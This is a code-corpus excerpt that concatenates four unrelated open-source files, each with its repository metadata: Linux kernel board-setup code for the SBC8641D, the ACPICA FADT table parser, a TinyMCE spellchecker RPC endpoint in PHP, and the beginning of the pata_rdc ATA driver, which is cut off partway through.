/* * SBC8641D board specific routines * * Copyright 2008 Wind River Systems Inc. * * By Paul Gortmaker (see MAINTAINERS for contact information) * * Based largely on the 8641 HPCN support by Freescale Semiconductor Inc. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. */ #include <linux/stddef.h> #include <linux/kernel.h> #include <linux/pci.h> #include <linux/kdev_t.h> #include <linux/delay.h> #include <linux/seq_file.h> #include <linux/of_platform.h> #include <asm/system.h> #include <asm/time.h> #include <asm/machdep.h> #include <asm/pci-bridge.h> #include <asm/prom.h> #include <mm/mmu_decl.h> #include <asm/udbg.h> #include <asm/mpic.h> #include <sysdev/fsl_pci.h> #include <sysdev/fsl_soc.h> #include "mpc86xx.h" static void __init sbc8641_setup_arch(void) { #ifdef CONFIG_PCI struct device_node *np; #endif if (ppc_md.progress) ppc_md.progress("sbc8641_setup_arch()", 0); #ifdef CONFIG_PCI for_each_compatible_node(np, "pci", "fsl,mpc8641-pcie") fsl_add_bridge(np, 0); #endif printk("SBC8641 board from Wind River\n"); #ifdef CONFIG_SMP mpc86xx_smp_init(); #endif } static void sbc8641_show_cpuinfo(struct seq_file *m) { uint svid = mfspr(SPRN_SVR); seq_printf(m, "Vendor\t\t: Wind River Systems\n"); seq_printf(m, "SVR\t\t: 0x%x\n", svid); } /* * Called very early, device-tree isn't unflattened */ static int __init sbc8641_probe(void) { unsigned long root = of_get_flat_dt_root(); if (of_flat_dt_is_compatible(root, "wind,sbc8641")) return 1; /* Looks good */ return 0; } static long __init mpc86xx_time_init(void) { unsigned int temp; /* Set the time base to zero */ mtspr(SPRN_TBWL, 0); mtspr(SPRN_TBWU, 0); temp = mfspr(SPRN_HID0); temp |= HID0_TBEN; mtspr(SPRN_HID0, temp); asm volatile("isync"); return 0; } static __initdata struct of_device_id of_bus_ids[] = { { .compatible = "simple-bus", }, { .compatible = "gianfar", }, {}, }; static int __init declare_of_platform_devices(void) { of_platform_bus_probe(NULL, of_bus_ids, NULL); return 0; } machine_device_initcall(sbc8641, declare_of_platform_devices); define_machine(sbc8641) { .name = "SBC8641D", .probe = sbc8641_probe, .setup_arch = sbc8641_setup_arch, .init_IRQ = mpc86xx_init_irq, .show_cpuinfo = sbc8641_show_cpuinfo, .get_irq = mpic_get_irq, .restart = fsl_rstcr_restart, .time_init = mpc86xx_time_init, .calibrate_decr = generic_calibrate_decr, .progress = udbg_progress, #ifdef CONFIG_PCI .pcibios_fixup_bus = fsl_pcibios_fixup_bus, #endif };
virt2real/dm36x-kernel
arch/powerpc/platforms/86xx/sbc8641d.c
C
gpl-2.0
2,731
/****************************************************************************** * * Module Name: tbfadt - FADT table utilities * *****************************************************************************/ /* * Copyright (C) 2000 - 2012, Intel Corp. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions, and the following disclaimer, * without modification. * 2. Redistributions in binary form must reproduce at minimum a disclaimer * substantially similar to the "NO WARRANTY" disclaimer below * ("Disclaimer") and any redistribution must be conditioned upon * including a substantially similar Disclaimer requirement for further * binary redistribution. * 3. Neither the names of the above-listed copyright holders nor the names * of any contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * Alternatively, this software may be distributed under the terms of the * GNU General Public License ("GPL") version 2 as published by the Free * Software Foundation. * * NO WARRANTY * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * HOLDERS OR CONTRIBUTORS BE LIABLE FOR SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGES. */ #include <acpi/acpi.h> #include "accommon.h" #include "actables.h" #define _COMPONENT ACPI_TABLES ACPI_MODULE_NAME("tbfadt") /* Local prototypes */ static ACPI_INLINE void acpi_tb_init_generic_address(struct acpi_generic_address *generic_address, u8 space_id, u8 byte_width, u64 address); static void acpi_tb_convert_fadt(void); static void acpi_tb_validate_fadt(void); static void acpi_tb_setup_fadt_registers(void); /* Table for conversion of FADT to common internal format and FADT validation */ typedef struct acpi_fadt_info { char *name; u16 address64; u16 address32; u16 length; u8 default_length; u8 type; } acpi_fadt_info; #define ACPI_FADT_OPTIONAL 0 #define ACPI_FADT_REQUIRED 1 #define ACPI_FADT_SEPARATE_LENGTH 2 static struct acpi_fadt_info fadt_info_table[] = { {"Pm1aEventBlock", ACPI_FADT_OFFSET(xpm1a_event_block), ACPI_FADT_OFFSET(pm1a_event_block), ACPI_FADT_OFFSET(pm1_event_length), ACPI_PM1_REGISTER_WIDTH * 2, /* Enable + Status register */ ACPI_FADT_REQUIRED}, {"Pm1bEventBlock", ACPI_FADT_OFFSET(xpm1b_event_block), ACPI_FADT_OFFSET(pm1b_event_block), ACPI_FADT_OFFSET(pm1_event_length), ACPI_PM1_REGISTER_WIDTH * 2, /* Enable + Status register */ ACPI_FADT_OPTIONAL}, {"Pm1aControlBlock", ACPI_FADT_OFFSET(xpm1a_control_block), ACPI_FADT_OFFSET(pm1a_control_block), ACPI_FADT_OFFSET(pm1_control_length), ACPI_PM1_REGISTER_WIDTH, ACPI_FADT_REQUIRED}, {"Pm1bControlBlock", ACPI_FADT_OFFSET(xpm1b_control_block), ACPI_FADT_OFFSET(pm1b_control_block), ACPI_FADT_OFFSET(pm1_control_length), ACPI_PM1_REGISTER_WIDTH, ACPI_FADT_OPTIONAL}, {"Pm2ControlBlock", ACPI_FADT_OFFSET(xpm2_control_block), ACPI_FADT_OFFSET(pm2_control_block), ACPI_FADT_OFFSET(pm2_control_length), ACPI_PM2_REGISTER_WIDTH, ACPI_FADT_SEPARATE_LENGTH}, {"PmTimerBlock", ACPI_FADT_OFFSET(xpm_timer_block), ACPI_FADT_OFFSET(pm_timer_block), ACPI_FADT_OFFSET(pm_timer_length), ACPI_PM_TIMER_WIDTH, ACPI_FADT_REQUIRED}, {"Gpe0Block", ACPI_FADT_OFFSET(xgpe0_block), ACPI_FADT_OFFSET(gpe0_block), ACPI_FADT_OFFSET(gpe0_block_length), 0, ACPI_FADT_SEPARATE_LENGTH}, {"Gpe1Block", ACPI_FADT_OFFSET(xgpe1_block), ACPI_FADT_OFFSET(gpe1_block), ACPI_FADT_OFFSET(gpe1_block_length), 0, ACPI_FADT_SEPARATE_LENGTH} }; #define ACPI_FADT_INFO_ENTRIES \ (sizeof (fadt_info_table) / sizeof (struct acpi_fadt_info)) /* Table used to split Event Blocks into separate status/enable registers */ typedef struct acpi_fadt_pm_info { struct acpi_generic_address *target; u16 source; u8 register_num; } acpi_fadt_pm_info; static struct acpi_fadt_pm_info fadt_pm_info_table[] = { {&acpi_gbl_xpm1a_status, ACPI_FADT_OFFSET(xpm1a_event_block), 0}, {&acpi_gbl_xpm1a_enable, ACPI_FADT_OFFSET(xpm1a_event_block), 1}, {&acpi_gbl_xpm1b_status, ACPI_FADT_OFFSET(xpm1b_event_block), 0}, {&acpi_gbl_xpm1b_enable, ACPI_FADT_OFFSET(xpm1b_event_block), 1} }; #define ACPI_FADT_PM_INFO_ENTRIES \ (sizeof (fadt_pm_info_table) / sizeof (struct acpi_fadt_pm_info)) /******************************************************************************* * * FUNCTION: acpi_tb_init_generic_address * * PARAMETERS: generic_address - GAS struct to be initialized * byte_width - Width of this register * Address - Address of the register * * RETURN: None * * DESCRIPTION: Initialize a Generic Address Structure (GAS) * See the ACPI specification for a full description and * definition of this structure. * ******************************************************************************/ static ACPI_INLINE void acpi_tb_init_generic_address(struct acpi_generic_address *generic_address, u8 space_id, u8 byte_width, u64 address) { /* * The 64-bit Address field is non-aligned in the byte packed * GAS struct. */ ACPI_MOVE_64_TO_64(&generic_address->address, &address); /* All other fields are byte-wide */ generic_address->space_id = space_id; generic_address->bit_width = (u8)ACPI_MUL_8(byte_width); generic_address->bit_offset = 0; generic_address->access_width = 0; /* Access width ANY */ } /******************************************************************************* * * FUNCTION: acpi_tb_parse_fadt * * PARAMETERS: table_index - Index for the FADT * * RETURN: None * * DESCRIPTION: Initialize the FADT, DSDT and FACS tables * (FADT contains the addresses of the DSDT and FACS) * ******************************************************************************/ void acpi_tb_parse_fadt(u32 table_index) { u32 length; struct acpi_table_header *table; /* * The FADT has multiple versions with different lengths, * and it contains pointers to both the DSDT and FACS tables. * * Get a local copy of the FADT and convert it to a common format * Map entire FADT, assumed to be smaller than one page. */ length = acpi_gbl_root_table_list.tables[table_index].length; table = acpi_os_map_memory(acpi_gbl_root_table_list.tables[table_index]. address, length); if (!table) { return; } /* * Validate the FADT checksum before we copy the table. Ignore * checksum error as we want to try to get the DSDT and FACS. */ (void)acpi_tb_verify_checksum(table, length); /* Create a local copy of the FADT in common ACPI 2.0+ format */ acpi_tb_create_local_fadt(table, length); /* All done with the real FADT, unmap it */ acpi_os_unmap_memory(table, length); /* Obtain the DSDT and FACS tables via their addresses within the FADT */ acpi_tb_install_table((acpi_physical_address) acpi_gbl_FADT.Xdsdt, ACPI_SIG_DSDT, ACPI_TABLE_INDEX_DSDT); /* If Hardware Reduced flag is set, there is no FACS */ if (!acpi_gbl_reduced_hardware) { acpi_tb_install_table((acpi_physical_address) acpi_gbl_FADT. Xfacs, ACPI_SIG_FACS, ACPI_TABLE_INDEX_FACS); } } /******************************************************************************* * * FUNCTION: acpi_tb_create_local_fadt * * PARAMETERS: Table - Pointer to BIOS FADT * Length - Length of the table * * RETURN: None * * DESCRIPTION: Get a local copy of the FADT and convert it to a common format. * Performs validation on some important FADT fields. * * NOTE: We create a local copy of the FADT regardless of the version. * ******************************************************************************/ void acpi_tb_create_local_fadt(struct acpi_table_header *table, u32 length) { /* * Check if the FADT is larger than the largest table that we expect * (the ACPI 5.0 version). If so, truncate the table, and issue * a warning. */ if (length > sizeof(struct acpi_table_fadt)) { ACPI_WARNING((AE_INFO, "FADT (revision %u) is longer than ACPI 5.0 version, " "truncating length %u to %u", table->revision, length, (u32)sizeof(struct acpi_table_fadt))); } /* Clear the entire local FADT */ ACPI_MEMSET(&acpi_gbl_FADT, 0, sizeof(struct acpi_table_fadt)); /* Copy the original FADT, up to sizeof (struct acpi_table_fadt) */ ACPI_MEMCPY(&acpi_gbl_FADT, table, ACPI_MIN(length, sizeof(struct acpi_table_fadt))); /* Take a copy of the Hardware Reduced flag */ acpi_gbl_reduced_hardware = FALSE; if (acpi_gbl_FADT.flags & ACPI_FADT_HW_REDUCED) { acpi_gbl_reduced_hardware = TRUE; } /* Convert the local copy of the FADT to the common internal format */ acpi_tb_convert_fadt(); /* Validate FADT values now, before we make any changes */ acpi_tb_validate_fadt(); /* Initialize the global ACPI register structures */ acpi_tb_setup_fadt_registers(); } /******************************************************************************* * * FUNCTION: acpi_tb_convert_fadt * * PARAMETERS: None, uses acpi_gbl_FADT * * RETURN: None * * DESCRIPTION: Converts all versions of the FADT to a common internal format. * Expand 32-bit addresses to 64-bit as necessary. * * NOTE: acpi_gbl_FADT must be of size (struct acpi_table_fadt), * and must contain a copy of the actual FADT. * * Notes on 64-bit register addresses: * * After this FADT conversion, later ACPICA code will only use the 64-bit "X" * fields of the FADT for all ACPI register addresses. * * The 64-bit "X" fields are optional extensions to the original 32-bit FADT * V1.0 fields. Even if they are present in the FADT, they are optional and * are unused if the BIOS sets them to zero. Therefore, we must copy/expand * 32-bit V1.0 fields if the corresponding X field is zero. * * For ACPI 1.0 FADTs, all 32-bit address fields are expanded to the * corresponding "X" fields in the internal FADT. * * For ACPI 2.0+ FADTs, all valid (non-zero) 32-bit address fields are expanded * to the corresponding 64-bit X fields. For compatibility with other ACPI * implementations, we ignore the 64-bit field if the 32-bit field is valid, * regardless of whether the host OS is 32-bit or 64-bit. * ******************************************************************************/ static void acpi_tb_convert_fadt(void) { struct acpi_generic_address *address64; u32 address32; u32 i; /* * Expand the 32-bit FACS and DSDT addresses to 64-bit as necessary. * Later code will always use the X 64-bit field. Also, check for an * address mismatch between the 32-bit and 64-bit address fields * (FIRMWARE_CTRL/X_FIRMWARE_CTRL, DSDT/X_DSDT) which would indicate * the presence of two FACS or two DSDT tables. */ if (!acpi_gbl_FADT.Xfacs) { acpi_gbl_FADT.Xfacs = (u64) acpi_gbl_FADT.facs; } else if (acpi_gbl_FADT.facs && (acpi_gbl_FADT.Xfacs != (u64) acpi_gbl_FADT.facs)) { ACPI_WARNING((AE_INFO, "32/64 FACS address mismatch in FADT - two FACS tables!")); } if (!acpi_gbl_FADT.Xdsdt) { acpi_gbl_FADT.Xdsdt = (u64) acpi_gbl_FADT.dsdt; } else if (acpi_gbl_FADT.dsdt && (acpi_gbl_FADT.Xdsdt != (u64) acpi_gbl_FADT.dsdt)) { ACPI_WARNING((AE_INFO, "32/64 DSDT address mismatch in FADT - two DSDT tables!")); } /* * For ACPI 1.0 FADTs (revision 1 or 2), ensure that reserved fields which * should be zero are indeed zero. This will workaround BIOSs that * inadvertently place values in these fields. * * The ACPI 1.0 reserved fields that will be zeroed are the bytes located at * offset 45, 55, 95, and the word located at offset 109, 110. * * Note: The FADT revision value is unreliable. Only the length can be * trusted. */ if (acpi_gbl_FADT.header.length <= ACPI_FADT_V2_SIZE) { acpi_gbl_FADT.preferred_profile = 0; acpi_gbl_FADT.pstate_control = 0; acpi_gbl_FADT.cst_control = 0; acpi_gbl_FADT.boot_flags = 0; } /* Update the local FADT table header length */ acpi_gbl_FADT.header.length = sizeof(struct acpi_table_fadt); /* * Expand the ACPI 1.0 32-bit addresses to the ACPI 2.0 64-bit "X" * generic address structures as necessary. Later code will always use * the 64-bit address structures. * * March 2009: * We now always use the 32-bit address if it is valid (non-null). This * is not in accordance with the ACPI specification which states that * the 64-bit address supersedes the 32-bit version, but we do this for * compatibility with other ACPI implementations. Most notably, in the * case where both the 32 and 64 versions are non-null, we use the 32-bit * version. This is the only address that is guaranteed to have been * tested by the BIOS manufacturer. */ for (i = 0; i < ACPI_FADT_INFO_ENTRIES; i++) { address32 = *ACPI_ADD_PTR(u32, &acpi_gbl_FADT, fadt_info_table[i].address32); address64 = ACPI_ADD_PTR(struct acpi_generic_address, &acpi_gbl_FADT, fadt_info_table[i].address64); /* * If both 32- and 64-bit addresses are valid (non-zero), * they must match. */ if (address64->address && address32 && (address64->address != (u64) address32)) { ACPI_ERROR((AE_INFO, "32/64X address mismatch in %s: 0x%8.8X/0x%8.8X%8.8X, using 32", fadt_info_table[i].name, address32, ACPI_FORMAT_UINT64(address64->address))); } /* Always use 32-bit address if it is valid (non-null) */ if (address32) { /* * Copy the 32-bit address to the 64-bit GAS structure. The * Space ID is always I/O for 32-bit legacy address fields */ acpi_tb_init_generic_address(address64, ACPI_ADR_SPACE_SYSTEM_IO, *ACPI_ADD_PTR(u8, &acpi_gbl_FADT, fadt_info_table [i].length), (u64) address32); } } } /******************************************************************************* * * FUNCTION: acpi_tb_validate_fadt * * PARAMETERS: Table - Pointer to the FADT to be validated * * RETURN: None * * DESCRIPTION: Validate various important fields within the FADT. If a problem * is found, issue a message, but no status is returned. * Used by both the table manager and the disassembler. * * Possible additional checks: * (acpi_gbl_FADT.pm1_event_length >= 4) * (acpi_gbl_FADT.pm1_control_length >= 2) * (acpi_gbl_FADT.pm_timer_length >= 4) * Gpe block lengths must be multiple of 2 * ******************************************************************************/ static void acpi_tb_validate_fadt(void) { char *name; struct acpi_generic_address *address64; u8 length; u32 i; /* * Check for FACS and DSDT address mismatches. An address mismatch between * the 32-bit and 64-bit address fields (FIRMWARE_CTRL/X_FIRMWARE_CTRL and * DSDT/X_DSDT) would indicate the presence of two FACS or two DSDT tables. */ if (acpi_gbl_FADT.facs && (acpi_gbl_FADT.Xfacs != (u64) acpi_gbl_FADT.facs)) { ACPI_WARNING((AE_INFO, "32/64X FACS address mismatch in FADT - " "0x%8.8X/0x%8.8X%8.8X, using 32", acpi_gbl_FADT.facs, ACPI_FORMAT_UINT64(acpi_gbl_FADT.Xfacs))); acpi_gbl_FADT.Xfacs = (u64) acpi_gbl_FADT.facs; } if (acpi_gbl_FADT.dsdt && (acpi_gbl_FADT.Xdsdt != (u64) acpi_gbl_FADT.dsdt)) { ACPI_WARNING((AE_INFO, "32/64X DSDT address mismatch in FADT - " "0x%8.8X/0x%8.8X%8.8X, using 32", acpi_gbl_FADT.dsdt, ACPI_FORMAT_UINT64(acpi_gbl_FADT.Xdsdt))); acpi_gbl_FADT.Xdsdt = (u64) acpi_gbl_FADT.dsdt; } /* If Hardware Reduced flag is set, we are all done */ if (acpi_gbl_reduced_hardware) { return; } /* Examine all of the 64-bit extended address fields (X fields) */ for (i = 0; i < ACPI_FADT_INFO_ENTRIES; i++) { /* * Generate pointer to the 64-bit address, get the register * length (width) and the register name */ address64 = ACPI_ADD_PTR(struct acpi_generic_address, &acpi_gbl_FADT, fadt_info_table[i].address64); length = *ACPI_ADD_PTR(u8, &acpi_gbl_FADT, fadt_info_table[i].length); name = fadt_info_table[i].name; /* * For each extended field, check for length mismatch between the * legacy length field and the corresponding 64-bit X length field. */ if (address64->address && (address64->bit_width != ACPI_MUL_8(length))) { ACPI_WARNING((AE_INFO, "32/64X length mismatch in %s: %u/%u", name, ACPI_MUL_8(length), address64->bit_width)); } if (fadt_info_table[i].type & ACPI_FADT_REQUIRED) { /* * Field is required (Pm1a_event, Pm1a_control, pm_timer). * Both the address and length must be non-zero. */ if (!address64->address || !length) { ACPI_ERROR((AE_INFO, "Required field %s has zero address and/or length:" " 0x%8.8X%8.8X/0x%X", name, ACPI_FORMAT_UINT64(address64-> address), length)); } } else if (fadt_info_table[i].type & ACPI_FADT_SEPARATE_LENGTH) { /* * Field is optional (PM2Control, GPE0, GPE1) AND has its own * length field. If present, both the address and length must * be valid. */ if ((address64->address && !length) || (!address64->address && length)) { ACPI_WARNING((AE_INFO, "Optional field %s has zero address or length: " "0x%8.8X%8.8X/0x%X", name, ACPI_FORMAT_UINT64(address64-> address), length)); } } } } /******************************************************************************* * * FUNCTION: acpi_tb_setup_fadt_registers * * PARAMETERS: None, uses acpi_gbl_FADT. * * RETURN: None * * DESCRIPTION: Initialize global ACPI PM1 register definitions. Optionally, * force FADT register definitions to their default lengths. * ******************************************************************************/ static void acpi_tb_setup_fadt_registers(void) { struct acpi_generic_address *target64; struct acpi_generic_address *source64; u8 pm1_register_byte_width; u32 i; /* * Optionally check all register lengths against the default values and * update them if they are incorrect. */ if (acpi_gbl_use_default_register_widths) { for (i = 0; i < ACPI_FADT_INFO_ENTRIES; i++) { target64 = ACPI_ADD_PTR(struct acpi_generic_address, &acpi_gbl_FADT, fadt_info_table[i].address64); /* * If a valid register (Address != 0) and the (default_length > 0) * (Not a GPE register), then check the width against the default. */ if ((target64->address) && (fadt_info_table[i].default_length > 0) && (fadt_info_table[i].default_length != target64->bit_width)) { ACPI_WARNING((AE_INFO, "Invalid length for %s: %u, using default %u", fadt_info_table[i].name, target64->bit_width, fadt_info_table[i]. default_length)); /* Incorrect size, set width to the default */ target64->bit_width = fadt_info_table[i].default_length; } } } /* * Get the length of the individual PM1 registers (enable and status). * Each register is defined to be (event block length / 2). Extra divide * by 8 converts bits to bytes. */ pm1_register_byte_width = (u8) ACPI_DIV_16(acpi_gbl_FADT.xpm1a_event_block.bit_width); /* * Calculate separate GAS structs for the PM1x (A/B) Status and Enable * registers. These addresses do not appear (directly) in the FADT, so it * is useful to pre-calculate them from the PM1 Event Block definitions. * * The PM event blocks are split into two register blocks, first is the * PM Status Register block, followed immediately by the PM Enable * Register block. Each is of length (pm1_event_length/2) * * Note: The PM1A event block is required by the ACPI specification. * However, the PM1B event block is optional and is rarely, if ever, * used. */ for (i = 0; i < ACPI_FADT_PM_INFO_ENTRIES; i++) { source64 = ACPI_ADD_PTR(struct acpi_generic_address, &acpi_gbl_FADT, fadt_pm_info_table[i].source); if (source64->address) { acpi_tb_init_generic_address(fadt_pm_info_table[i]. target, source64->space_id, pm1_register_byte_width, source64->address + (fadt_pm_info_table[i]. register_num * pm1_register_byte_width)); } } }
aapav01/android_kernel_samsung_ms013g-2
drivers/acpi/acpica/tbfadt.c
C
gpl-2.0
21,463
<?php /** * $Id: rpc.php 915 2008-09-03 08:45:28Z spocke $ * * @package MCManager.includes * @author Moxiecode * @copyright Copyright © 2004-2007, Moxiecode Systems AB, All rights reserved. */ require_once("./includes/general.php"); // Set RPC response headers header('Content-Type: text/plain'); header('Content-Encoding: UTF-8'); header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); $raw = ""; // Try param if (isset($_POST["json_data"])) $raw = getRequestParam("json_data"); // Try globals array if (!$raw && isset($_GLOBALS) && isset($_GLOBALS["HTTP_RAW_POST_DATA"])) $raw = $_GLOBALS["HTTP_RAW_POST_DATA"]; // Try globals variable if (!$raw && isset($HTTP_RAW_POST_DATA)) $raw = $HTTP_RAW_POST_DATA; // Try stream if (!$raw) { if (!function_exists('file_get_contents')) { $fp = fopen("php://input", "r"); if ($fp) { $raw = ""; while (!feof($fp)) $raw = fread($fp, 1024); fclose($fp); } } else $raw = "" . file_get_contents("php://input"); } // No input data if (!$raw) die('{"result":null,"id":null,"error":{"errstr":"Could not get raw post data.","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}'); // Passthrough request to remote server if (isset($config['general.remote_rpc_url'])) { $url = parse_url($config['general.remote_rpc_url']); // Setup request $req = "POST " . $url["path"] . " HTTP/1.0\r\n"; $req .= "Connection: close\r\n"; $req .= "Host: " . $url['host'] . "\r\n"; $req .= "Content-Length: " . strlen($raw) . "\r\n"; $req .= "\r\n" . $raw; if (!isset($url['port']) || !$url['port']) $url['port'] = 80; $errno = $errstr = ""; $socket = fsockopen($url['host'], intval($url['port']), $errno, $errstr, 30); if ($socket) { // Send request headers fputs($socket, $req); // Read response headers and data $resp = ""; while (!feof($socket)) $resp .= fgets($socket, 4096); fclose($socket); // Split response header/data $resp = explode("\r\n\r\n", $resp); echo $resp[1]; // Output body } die(); } // Get JSON data $json = new Moxiecode_JSON(); $input = $json->decode($raw); // Execute RPC if (isset($config['general.engine'])) { $spellchecker = new $config['general.engine']($config); $result = call_user_func_array(array($spellchecker, $input['method']), $input['params']); } else die('{"result":null,"id":null,"error":{"errstr":"You must choose an spellchecker engine in the config.php file.","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}'); // Request and response id should always be the same $output = array( "id" => $input->id, "result" => $result, "error" => null ); // Return JSON encoded string echo $json->encode($output); ?>
avanwart/meyerslawgroup
wp-includes/js/tinymce/plugins/spellchecker/rpc.php
PHP
gpl-2.0
2,887
/* * pata_rdc - Driver for later RDC PATA controllers * * This is actually a driver for hardware meeting * INCITS 370-2004 (1510D): ATA Host Adapter Standards * * Based on ata_piix. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; see the file COPYING. If not, write to * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/pci.h> #include <linux/init.h> #include <linux/blkdev.h> #include <linux/delay.h> #include <linux/device.h> #include <linux/gfp.h> #include <scsi/scsi_host.h> #include <linux/libata.h> #include <linux/dmi.h> #define DRV_NAME "pata_rdc" #define DRV_VERSION "0.01" struct rdc_host_priv { u32 saved_iocfg; }; /** * rdc_pata_cable_detect - Probe host controller cable detect info * @ap: Port for which cable detect info is desired * * Read 80c cable indicator from ATA PCI device's PCI config * register. This register is normally set by firmware (BIOS). * * LOCKING: * None (inherited from caller). */ static int rdc_pata_cable_detect(struct ata_port *ap) { struct rdc_host_priv *hpriv = ap->host->private_data; u8 mask; /* check BIOS cable detect results */ mask = 0x30 << (2 * ap->port_no); if ((hpriv->saved_iocfg & mask) == 0) return ATA_CBL_PATA40; return ATA_CBL_PATA80; } /** * rdc_pata_prereset - prereset for PATA host controller * @link: Target link * @deadline: deadline jiffies for the operation * * LOCKING: * None (inherited from caller). */ static int rdc_pata_prereset(struct ata_link *link, unsigned long deadline) { struct ata_port *ap = link->ap; struct pci_dev *pdev = to_pci_dev(ap->host->dev); static const struct pci_bits rdc_enable_bits[] = { { 0x41U, 1U, 0x80UL, 0x80UL }, /* port 0 */ { 0x43U, 1U, 0x80UL, 0x80UL }, /* port 1 */ }; if (!pci_test_config_bits(pdev, &rdc_enable_bits[ap->port_no])) return -ENOENT; return ata_sff_prereset(link, deadline); } static DEFINE_SPINLOCK(rdc_lock); /** * rdc_set_piomode - Initialize host controller PATA PIO timings * @ap: Port whose timings we are configuring * @adev: um * * Set PIO mode for device, in host controller PCI config space. * * LOCKING: * None (inherited from caller). */ static void rdc_set_piomode(struct ata_port *ap, struct ata_device *adev) { unsigned int pio = adev->pio_mode - XFER_PIO_0; struct pci_dev *dev = to_pci_dev(ap->host->dev); unsigned long flags; unsigned int is_slave = (adev->devno != 0); unsigned int master_port= ap->port_no ? 0x42 : 0x40; unsigned int slave_port = 0x44; u16 master_data; u8 slave_data; u8 udma_enable; int control = 0; static const /* ISP RTC */ u8 timings[][2] = { { 0, 0 }, { 0, 0 }, { 1, 0 }, { 2, 1 }, { 2, 3 }, }; if (pio >= 2) control |= 1; /* TIME1 enable */ if (ata_pio_need_iordy(adev)) control |= 2; /* IE enable */ if (adev->class == ATA_DEV_ATA) control |= 4; /* PPE enable */ spin_lock_irqsave(&rdc_lock, flags); /* PIO configuration clears DTE unconditionally. It will be * programmed in set_dmamode which is guaranteed to be called * after set_piomode if any DMA mode is available. */ pci_read_config_word(dev, master_port, &master_data); if (is_slave) { /* clear TIME1|IE1|PPE1|DTE1 */ master_data &= 0xff0f; /* Enable SITRE (separate slave timing register) */ master_data |= 0x4000; /* enable PPE1, IE1 and TIME1 as needed */ master_data |= (control << 4); pci_read_config_byte(dev, slave_port, &slave_data); slave_data &= (ap->port_no ? 0x0f : 0xf0); /* Load the timing nibble for this slave */ slave_data |= ((timings[pio][0] << 2) | timings[pio][1]) << (ap->port_no ? 4 : 0); } else { /* clear ISP|RCT|TIME0|IE0|PPE0|DTE0 */ master_data &= 0xccf0; /* Enable PPE, IE and TIME as appropriate */ master_data |= control; /* load ISP and RCT */ master_data |= (timings[pio][0] << 12) | (timings[pio][1] << 8); } pci_write_config_word(dev, master_port, master_data); if (is_slave) pci_write_config_byte(dev, slave_port, slave_data); /* Ensure the UDMA bit is off - it will be turned back on if UDMA is selected */ pci_read_config_byte(dev, 0x48, &udma_enable); udma_enable &= ~(1 << (2 * ap->port_no + adev->devno)); pci_write_config_byte(dev, 0x48, udma_enable); spin_unlock_irqrestore(&rdc_lock, flags); } /** * rdc_set_dmamode - Initialize host controller PATA PIO timings * @ap: Port whose timings we are configuring * @adev: Drive in question * * Set UDMA mode for device, in host controller PCI config space. * * LOCKING: * None (inherited from caller). */ static void rdc_set_dmamode(struct ata_port *ap, struct ata_device *adev) { struct pci_dev *dev = to_pci_dev(ap->host->dev); unsigned long flags; u8 master_port = ap->port_no ? 0x42 : 0x40; u16 master_data; u8 speed = adev->dma_mode; int devid = adev->devno + 2 * ap->port_no; u8 udma_enable = 0; static const /* ISP RTC */ u8 timings[][2] = { { 0, 0 }, { 0, 0 }, { 1, 0 }, { 2, 1 }, { 2, 3 }, }; spin_lock_irqsave(&rdc_lock, flags); pci_read_config_word(dev, master_port, &master_data); pci_read_config_byte(dev, 0x48, &udma_enable); if (speed >= XFER_UDMA_0) { unsigned int udma = adev->dma_mode - XFER_UDMA_0; u16 udma_timing; u16 ideconf; int u_clock, u_speed; /* * UDMA is handled by a combination of clock switching and * selection of dividers * * Handy rule: Odd modes are UDMATIMx 01, even are 02 * except UDMA0 which is 00 */ u_speed = min(2 - (udma & 1), udma); if (udma == 5) u_clock = 0x1000; /* 100Mhz */ else if (udma > 2) u_clock = 1; /* 66Mhz */ else u_clock = 0; /* 33Mhz */ udma_enable |= (1 << devid); /* Load the CT/RP selection */ pci_read_config_word(dev, 0x4A, &udma_timing); udma_timing &= ~(3 << (4 * devid)); udma_timing |= u_speed << (4 * devid); pci_write_config_word(dev, 0x4A, udma_timing); /* Select a 33/66/100Mhz clock */ pci_read_config_word(dev, 0x54, &ideconf); ideconf &= ~(0x1001 << devid); ideconf |= u_clock << devid; pci_write_config_word(dev, 0x54, ideconf); } else { /* * MWDMA is driven by the PIO timings. We must also enable * IORDY unconditionally along with TIME1. PPE has already * been set when the PIO timing was set. */ unsigned int mwdma = adev->dma_mode - XFER_MW_DMA_0; unsigned int control; u8 slave_data; const unsigned int needed_pio[3] = { XFER_PIO_0, XFER_PIO_3, XFER_PIO_4 }; int pio = needed_pio[mwdma] - XFER_PIO_0; control = 3; /* IORDY|TIME1 